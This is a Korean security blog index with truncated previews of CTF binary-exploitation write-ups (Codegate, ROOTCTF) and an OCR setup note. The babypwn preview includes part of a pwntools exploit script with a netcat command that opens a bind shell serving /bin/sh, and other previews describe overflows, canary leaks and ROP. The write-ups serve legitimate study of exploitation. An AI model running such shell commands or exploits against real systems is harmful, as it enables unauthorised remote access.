본문 바로가기

전체보기

(171)
[Codegate 2016] floppy 구조체는 IDA 스택을 보면 아래와 같이 파악할 수 있다.flag[4], &data[4], description[10], dummy[2], datasize[4] floppy2[24] + floppy1[24] + floppy_pointer[4] + dummy[8] + sfp[8]? + ret[4] 이런 구조다.구조는 함수 프롤로그를 보고 다시 밑에서 정리했다. 취약점은 위 read(0, &s, 37) 에서 터진다. ret은 37-1 byte밖에 안되서 못덮지만 아래와 같은 특징때문에 익스가 가능하다. 해당 문제 메인함수 프롤로그와 에필로그를 보면 평범한 구조와는 좀 다르다.그렇기에 esp를 조작하여 RTL 하면 될 것같다.일단 해당 문제는 PIE가 걸려있기 때문에 __libc_start_main_ret 을..
pig_hunting 보호되어 있는 글입니다.
ocr library module PIL, pytesser how to import library module PIL, pyteeserPILPIL(Image module) = import_PIL_site (Pillow-2.7.0-cp27-none-win_amd64) - python 2.7 > pip install Pillow-2.7.0-cp27-none-win_amd64 Pytesseror import_pytesser_sitedownload file and copy pytesser folder at C:\Python27\Liband copy pytesser.py at C:\Python27\Libchange name C:\Python27\Lib\pytesser\pytesser.py -> C:\Python27\Lib\pytesser\__init__.pymodify ..
[ROOTCTF 2017] Factorization(sandbag) 메인함수 모습이다.먼저 취약점이 있는 부분은 아래와 같다. 오버플로우가 있는 read 취약점부분으로 가려면 a5(time)이 2985984가 되야 하며 입력은 4가 되어야한다. 어떻게 할지 a5(time)을 2985984로 만들어 줄지 고민했는데 문제 이름 자체가 인수분해(Factorization) 라서 저 숫자를 인수분해하면 12의 6승이 나온다.3번 메뉴로 가서 sleep(4) 메뉴로 들어가면 곱하기를 하기 때문에 a1, a2, a3, a4, a5, a6 을 모두 12로 만들어준 후에 sleep을 하면 2985984가 될 것이다.1번 메뉴에서 a1, a2, a3 2번 메뉴에서 a4, a5, a6 을 각각 12번 + 해준 후에 sleep 하고 취약점 있는 부분으로 가서 rop 하면 익스가 가능하다. [..
[Codegate 2017] babypwn 메뉴창 보면 오버플로우 일어나는데 바로 볼 수 있다.IDA로 옆에보면 system 함수가 대놓고 있어서 libc leak 없이 system plt 갖다쓰면 된다. [exploit]1234567891011121314151617181920212223242526272829303132333435from pwn import * p = remote('localhost', 8181)e = ELF('./babypwn') ppppr = 0x8048eeccmd = 'nc -lvp 5555 -e /bin/sh' + '\x00' print p.sendlineafter('> ', '1')p.sendlineafter(': ', 'A'*40)canary = p.recv(1024)canary = u32('\x00' + canary[..
[Codegate 2016] watermelon 1. Add playlist2. View playlist3. Modify playlist4. Exitmenu는 위와 같다.-1를 입력시 처음에 있는 함수로 들어가게 되는데 그냥 의미없는 함수같다.차례대로 add, view, modfiy 함수들이다. modify 함수에서 artist 를 입력할때 200 을 입력받음으로써 overflow가 일어난다.일단 add함수로 음악의 개수를 100까지 채운 후 modfiy에서 music number 100을 선택한 다음 오버플로우 하면 될거 같다.하지만 해당 문제에서 카나리가 있기 때문에 카나리 릭은 view를 통해 해주면 된다. [exploit]123456789101112131415161718192021222324252627282930313233343536373839..
[Codegate 2014] nuclear 일단 포트는 1129 이며, 서버에 있는 passcode 파일을 read한 후 launch 에서 비교하는데 일단 passcode를 알아내야한다.else 부분에 있는 "unknown command : %s" 에서 릭한걸 출력하면 될거 같다 스택은 다음과 같다. s1[512] + v4[4] + v5[4] + s[32]저 s[32]에 passcode가 들어가있는데 recv에서 512만큼밖에 입력을 안받기 때문에 8byte가 비어 s를 추출하지 못한다.하지만 8byte를 채울 수 있는 방법이 있는데 바로 target 부분이다.여기서 v4와 v5 변수에 위도 경도값을 넣을 수 있는데 sscanf으로 넣기 때문에 null값이 채워지지 않는다.그렇기에 먼저 target에서 값 넣어준 다음 "A"*512 넣어주면 le..
netcat -e option 보호되어 있는 글입니다.